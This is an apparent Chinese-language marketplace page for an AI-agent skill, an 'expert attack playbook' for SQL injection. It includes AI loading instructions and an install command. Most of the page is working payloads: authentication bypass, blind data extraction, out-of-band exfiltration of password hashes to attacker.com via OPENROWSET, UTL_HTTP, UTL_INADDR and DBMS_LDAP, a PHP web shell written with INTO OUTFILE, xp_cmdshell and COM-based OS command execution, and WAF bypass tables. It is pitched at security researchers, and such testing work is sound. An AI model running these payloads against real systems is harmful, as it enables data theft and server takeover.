mcpField
S
sqli-sql-injection

sqli-sql-injection

github.com/yaklang安全2.6k4.1k 次安装6 周前更新
代码仓库

关于 sqli-sql-injection

面向安全研究人员和漏洞赏金猎人的高级 SQL 注入手册,按数据库类型、注入行为和升级路径组织测试,并指向扩展场景参考资料。

主要功能

  1. 01按数据库类型测试 SQLi
  2. 02布尔与时间盲注推断
  3. 03带外数据提取
  4. 04分析二阶注入
  5. 05过滤规避与权限升级

适用场景

  1. 01验证疑似 SQL 注入点
  2. 02根据错误识别数据库
  3. 03调查盲注行为
  4. 04检查存储输入的查询流程

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill sqli-sql-injection

安装后在 Claude Code 中输入/sqli-sql-injection确认已加载。

附带文件SCENARIOS.mdSQLMAP_ADVANCED.md

详细介绍

技能:SQL 注入 — 专家攻击手册

AI 加载指令:高级 SQLi 技术。假设已掌握 UNION、错误型和布尔盲注基础。重点介绍:针对不同数据库的利用、带外数据窃取、二阶注入、参数化查询绕过场景、过滤器规避,以及提权至操作系统。有关真实世界的 CVE 案例、SMB/DNS 带外数据窃取、INSERT/UPDATE 注入模式,以及特定框架的利用方式(ThinkPHP、Django GIS),请加载配套的 SCENARIOS.md。

0. 相关路由

  • 当后端是 使用 Jackson 的 Java,且 SQL 关键字被 WAF 拦截时,使用 ghost-bits-cast-attack——Jackson 的 charToHex 表通过 ch & 0xFF 索引,因此像 丰(U+4E30)这样的 Unicode 字符会在 \uXXXX 转义序列中解析为十六进制数字 0,让你能偷偷嵌入 UNION、SELECT、1 等内容,而 WAF 完全检测不到

1. 快速入门

扩展场景

在以下情况下,也请加载 SCENARIOS.md:

  • 通过 LOAD_FILE + UNC 路径进行 SMB 带外数据窃取(Windows MySQL)
  • KEY 注入 / URI 注入 / 非参数化注入点
  • INSERT/DELETE/UPDATE 语句注入差异
  • ThinkPHP5 数组键注入(基于 updatexml 的错误注入)
  • Django GIS Oracle utl_inaddr.get_host_name CVE
  • ORDER BY / LIMIT 注入技术
高级参考

在以下情况下,也请加载 SQLMAP_ADVANCED.md:

  • SQLMap tamper 脚本矩阵和 WAF 绕过 tamper 链配方(space2comment、between、charencode 等)
  • --technique、--risk/--level 组合,以及用于二阶注入的 --second-url
  • 通过 SQLMap 使用 --os-shell / --os-pwn 进行操作系统层面的利用
  • INSERT/UPDATE/DELETE 注入模式及数据窃取示例
  • GraphQL + SQL 注入(批量查询、嵌套字段注入、mutation 注入)
  • 特定数据库的高级函数:PostgreSQL 美元符号引用、MSSQL 链接服务器、Oracle DBMS_PIPE/DBMS_SCHEDULER

如果你只确认了一个可疑的 SQL 接收点,请先不要加载额外的 payload 技能;先在此处完成第一轮验证。

第一轮 payload 类型
情况从以下内容开始原因
登录或布尔分支' or 1=1--快速检测身份验证或条件检查
数值参数1 or 1=1避免依赖引号
ORDER BY / 排序1,2,3,然后是 1 desc--适合进行结构探测
可见 SQL 错误',然后尝试特定 DBMS 的错误探测错误文本可提供 DBMS 线索
无可见输出基于时间的 payload适用于盲注目标的稳定备用方法
过滤严格 / WAF多态或无空白变体扩大解析器混淆范围
少量且稳定的第一轮测试集
'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--
DBMS 路由提示
线索可能的 DBMS推荐的下一步
You have an error in your SQL syntaxMySQL尝试 SLEEP() 和 @@version
Microsoft OLE DB ProviderMSSQL尝试 WAITFOR DELAY
PG:: / PostgreSQLPostgreSQL尝试 pg_sleep()
ORA- 前缀Oracle转向带外或 XML 功能
SQLite 错误、本地应用SQLite重点测试布尔注入 / UNION 和基于文件的行为

1. 检测 — 不易察觉的迹象

大多数 SQLi 是通过行为差异而非错误发现的:

信号含义
页面在 ' 和 '' 下的加载情况不同字符串上下文注入点
数值:1、1-1 和 2-1 返回相同结果执行了算术运算
条件中的 1=1 和 1=2 会改变结果基于布尔值的注入
使用 ORDER BY N 的 SELECT:枚举列数为 UNION 做准备
时间延迟:'; WAITFOR DELAY '0:0:5'--盲注 / 基于时间的注入
' 返回 500 错误,'' 返回 200未处理的异常 = SQLi
HTTP 响应大小不同布尔盲注迹象

重要:测试所有参数类型——URL 查询参数、POST 请求体、JSON 字段、XML 值、HTTP 标头(X-Forwarded-For、User-Agent、Referer、Cookie 值)。


2. 数据库指纹识别

-- MySQL
VERSION()              -- returns version string
@@datadir              -- data directory
@@global.secure_file_priv  -- file read restriction

-- MSSQL
@@VERSION              -- includes "Microsoft SQL Server"
DB_NAME()              -- current database
USER_NAME()            -- current user

-- Oracle
v$version              -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name      -- current db (alternative)
user                   -- current Oracle user

-- PostgreSQL
version()              -- returns version
current_database()     -- current db
current_user           -- current user

基于错误的指纹识别:注入 ' 并读取错误消息格式。MySQL 的错误与 Oracle/MSSQL 不同。


3. 基于 UNION 的数据提取

确定列数:

ORDER BY 1--
ORDER BY 2--
ORDER BY N--   ← until error = N-1 columns

检测列类型(NULL 最安全):

UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--  ← find string column

特定数据库的字符串拼接(列仅接受 int 时必需):

-- MySQL
CONCAT(username,0x3a,password)

-- MSSQL
username+'|'+password

-- Oracle
username||'|'||password

-- PostgreSQL
username||':'||password

4. 盲注 — 推断技术

布尔盲注(条件响应差异)
-- Does first char of username = 'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--

-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--

-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--
基于时间的盲注(响应无差异)
-- MSSQL (most reliable)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--

-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--

-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle sleep alternative (no SLEEP):
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

5. 带外(OOB)数据窃取 — 关键

当盲注没有时间或布尔指示器,或批量查询无法直接返回数据时使用。

MSSQL — OpenRowSet(需要 SQLOLEDB 和出站 TCP)
'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) VALUES (@@version)--

-- Exfiltrate table data:
'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--

使用 80 或 443 端口绕过防火墙的出站流量限制。

Oracle — UTL_HTTP(通过 URL 路径中的数据发起 HTTP GET)
'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--

Oracle 的 UTL_HTTP 支持代理 — 可以通过企业代理窃取数据!

Oracle — UTL_INADDR(DNS 窃取 — 通常可绕过 HTTP 限制)
'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--

攻击者看到:HASH_VALUE.attacker.com DNS 查询 → 读取密码哈希。

Oracle — UTL_SMTP / UTL_TCP
-- Email large data dumps:
UTL_SMTP.SENDMAIL(...)  -- send query results via email

-- Raw TCP socket:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)
MySQL — 通过 LOAD_FILE 进行 DNS 查询(Windows + UNC 路径)
SELECT LOAD_FILE('\\\\attacker.com\\share')
-- Triggers DNS lookup before connection attempt
-- Works on Windows hosts with outbound SMB
MySQL — INTO OUTFILE(带内文件系统写入)
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
-- Requirements: FILE privilege, writable web root, secure_file_priv=''

6. 权限提升 — 执行 OS 命令

MSSQL — xp_cmdshell(如果已启用,或拥有 sysadmin 权限)
'; EXEC xp_cmdshell('whoami')--

-- Enable if disabled (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
MySQL — UDF(用户定义函数)

将恶意共享库写入文件系统,然后执行 CREATE FUNCTION ... SONAME。

Oracle — Java 存储过程
-- Create Java class:
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- Then exec OS commands via Java Runtime

7. 二阶注入

概念:用户输入以安全方式存储(使用参数化查询),但之后被作为可信数据取出,并在未经重新清理的情况下拼接到新查询中。

攻击流程示例:

  1. 注册用户名:admin'--
  2. 应用程序将其安全地插入 users 表
  3. 密码更改函数从会话中获取用户名(可信!)并构建:
    UPDATE users SET password='newpass' WHERE username='admin'--'
    
  4. 注释移除条件 → 更改 admin 的密码

关键见解:任何读取已存储数据并将其用于新的数据库查询的应用程序函数,都是二阶注入的潜在入口。检查:密码更改、个人资料更新、针对用户数据的管理操作。


8. 参数化查询绕过场景

在以下情况下,参数化查询无法防止 SQLi:

  1. 表名/列名由用户控制 — 参数无法参数化标识符:

    -- UNSAFE even with params:
    "SELECT * FROM " + tableName + " WHERE id = ?"
    

    缓解措施:使用白名单验证表名/列名。

  2. 部分参数化 — 部分字段使用拼接,其他字段使用参数化查询:

    "SELECT * FROM users WHERE type='" + userType + "' AND id=?"
    -- userType not parameterized → injection
    
  3. IN 子句中的动态数量(ORM 中常见的错误):

    SELECT * FROM items WHERE id IN (1, 2, ?)  -- only last is parameterized
    
  4. 二阶注入 — 假定从数据库中取出的数据是干净的,在未使用参数化查询的情况下将其重新用于查询。


9. 过滤器规避技术

注释注入(打断关键字)
SEL/**/ECT
UN/**/ION
1 UN/**/ION ALL SEL/**/ECT NULL--
大小写变化
UnIoN SeLeCt
URL 编码
%55NION  -- U
%53ELECT -- S
空白字符替代方案
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users  -- tab
SELECT%0ausername%0aFROM%0ausers  -- newline
字符串构造(绕过字面字符串检测)
-- MySQL concatenation without quotes:
CHAR(117,115,101,114,110,97,109,101)  -- 'username'

-- Oracle:
CHR(117)||CHR(115)||CHR(101)||CHR(114)

-- MSSQL:
CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)

10. 数据库元数据提取

MySQL
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='users'
MSSQL
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U'  -- user tables
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')
Oracle
SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
SELECT username,password FROM dba_users  -- requires DBA
PostgreSQL
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'

11. 滥用存储过程

MSSQL — sp_OAMethod(COM 自动化)
DECLARE @o INT
EXEC sp_OACreate 'wscript.shell', @o OUT
EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'
Oracle — DBMS_LDAP(出站 LDAP = DNS 数据窃取)
SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual

12. 快速参考 — 注入测试字符串

'                          -- break string context
''                         -- escaped quote (test handling)
' OR 1=1--                 -- auth bypass attempt  
' OR 'a'='a               -- alternate auth bypass
'; SELECT 1--             -- statement termination
' UNION SELECT NULL--     -- UNION test
' AND 1=1--               -- boolean true
' AND 1=2--               -- boolean false (different response → injectable)
1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay
1 AND SLEEP(3)--          -- MySQL time delay
1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay

13. WAF 绕过矩阵

技术被拦截绕过方式
空格被过滤SELECT * FROMSELECT/**/*//**/FROM, SELECT%0a*%0aFROM
逗号被过滤UNION SELECT 1,2,3UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
引号被过滤'admin'0x61646D696E(十六进制)、CHAR(97,100,109,105,110)
OR/AND 被过滤OR 1=1||1=1, &&1=1, DIV 0
= 被过滤id=1id LIKE 1, id REGEXP '^1$', id IN (1), id BETWEEN 1 AND 1
SELECT 被过滤使用 handler(MySQL)、PREPARE+hex 或堆叠查询
information_schema 被过滤mysql.innodb_table_stats, sys.schema_table_statistics

其他 WAF 绕过模式:

  • 多态注入:SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
  • 路由注入:1' UNION SELECT 0x(inner_payload_hex)-- -,其中内部载荷是另一个经过十六进制编码的完整查询
  • 二阶注入:将数据注入存储,在数据稍后被用于另一个查询时触发
  • PDO 模拟预处理:当 PDO::ATTR_EMULATE_PREPARES=true 时,即使代码看起来使用了参数化查询,堆叠查询仍然有效

14. WAF 绕过矩阵

无空格绕过
SELECT/**/username/**/FROM/**/users
SELECT(username)FROM(users)
无逗号绕过
-- UNION with JOIN instead of comma:
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)
-- LIMIT alternative: LIMIT 1 OFFSET 0
多态注入
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
路由注入
-- First query returns string used as input to second query:
' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
-- The returned value becomes part of another SQL context
二阶注入
-- Step 1: Register username: admin'--
-- Step 2: Trigger password change (uses stored username in SQL)
-- UPDATE users SET password='new' WHERE username='admin'--'
PDO / 预处理语句边缘情况
// Unsafe even with PDO when query structure is dynamic:
$pdo->query("SELECT * FROM " . $_GET['table']);
// Or when using emulated prepares with multi-query:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
入口点检测(Unicode 技巧)
U+02BA ʺ (modifier letter double prime) → "
U+02B9 ʹ (modifier letter prime) → '
%%2727 → %27 → '

评论

支持 Markdown